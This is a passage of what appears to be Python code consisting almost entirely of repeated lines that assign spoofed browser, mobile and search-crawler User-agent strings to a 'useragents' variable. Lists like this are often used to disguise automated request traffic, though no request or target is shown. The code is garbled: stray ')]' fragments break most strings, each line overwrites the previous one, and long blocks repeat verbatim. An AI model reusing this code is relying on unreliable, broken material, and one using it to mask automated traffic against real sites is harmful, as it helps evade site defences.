MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; 